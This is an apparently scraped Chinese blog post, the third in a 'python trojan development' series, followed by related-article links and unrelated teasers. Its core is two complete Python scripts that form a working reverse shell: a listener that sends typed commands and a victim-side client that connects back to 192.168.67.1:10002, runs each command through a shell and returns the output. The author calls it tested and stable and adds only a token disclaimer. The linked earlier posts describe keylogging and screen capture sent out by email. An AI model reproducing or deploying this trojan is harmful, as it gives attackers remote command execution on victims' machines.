前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写

有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事

因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷

首先当然是控制端

 from socket import *
 import os
 import time
 import subprocess

 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024
 tcpSock = socket(AF_INET, SOCK_STREAM)
 tcpSock.bind(addr)
 tcpSock.listen(5)

 while True:
     conn,addr=tcpSock.accept()
     while True:
         data = input("input the command:\n")
         conn.send(bytes(data,encoding="utf-8"))
         getdata = str(conn.recv(buff),encoding="utf-8")
         if not getdata:
             break
         print(getdata)
     tcpSock.close()

再就是被控端

 import socket
 import os
 import subprocess
 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024

 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 cli.connect(addr)

 while True:
     data = str(cli.recv(buff),encoding="utf-8")
     if not data:
         break
     print(data)
     f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
     redata = bytes(str(f.read()),encoding="utf-8")
     cli.sendall(redata)
 cli.close()

python trojan development 3rd —— use python to creative a simple shell的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 1st —— use python to send mail and caputre the screen then combine them

    import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...

  3. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  4. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  5. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  6. python学习: 如何循序渐进学习Python语言

    大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...

  7. [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本

    黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...

  8. 『无为则无心』Python基础 — 3、搭建Python开发环境

    目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...

  9. 【python之路1】python安装与环境变量配置

    直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包  双击安装程序,进入安装步骤.在安装过程中 ...

随机推荐

  1. Windows下如何采用微软的Caffe配置Faster R-CNN

    前言 比较简单的一篇博客.https://github.com/microsoft/caffe 微软的Caffe以在Windows下编译简单而受到了很多人的喜爱(包括我),只用改改prop配置然后无脑 ...

  2. DB 查询分析器 轻松创建DB2定义他们自己的函数

    DB 查询分析器 方便地创建DB2自己定义函数                           马根峰            (广东联合电子服务股份有限公司, 广州 510300) 摘要     ...

  3. PHP采集类:Snoopy.class.php

    Snoopy是一个php采集类,用来模拟浏览器获取网页内容和发送表单. 下面是一些Snoopy特性: 容易抓取网页内容 容易抓取页面文本(去除HTML标签) 容易抓取网页内链接 支持代理抓取 支持基本 ...

  4. DDD实战8_1 实现对领域中连接字符串的可配置

    1.在webapi的配置文件中配置连接字符串节 2.在webapi的startup类中的Configure方法中 将工具类里面AppSetting的静态Section的值 对应上webapi的配置文件 ...

  5. WPF圆形环绕的Loading动画

    原文:WPF圆形环绕的Loading动画 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/yangyisen0713/article/details/ ...

  6. C++ string的那些坑,C++ string功能补充(类型互转,分割,合并,瘦身) ,c++ string的内存本质(简单明了的一个测试)

    1. size_type find_first_of( const basic_string &str, size_type index = 0 ); 查找在字符串中第一个与str中的某个字符 ...

  7. error: stable identifier required, but $iwC.this.$VAL4.sqlContext found.

    在spark_shell创建SQLContext导入对象后sqlContext时间,例如,下面的例外: 找个理由sqlContext必须是val类型. 后引入到正常的变化. 版权声明:本文博客原创文章 ...

  8. Windows PowerShell 集成脚本环境 (ISE)

    应用场景 有时会遇到一些这样的报错 Exception calling "SetData" with "2" argument(s): "Type ' ...

  9. POST请求——HttpWebRequest

    string url=""; string param=""; string result = string.Empty; HttpWebRequest req ...

  10. VS2012发布到XP平台

    默认情况下,你的VS2012工程发布后,在XP下运行会出现提示“not a valid win32 application”. 微软推出了Visual Studio 2012 update 1可以支持 ...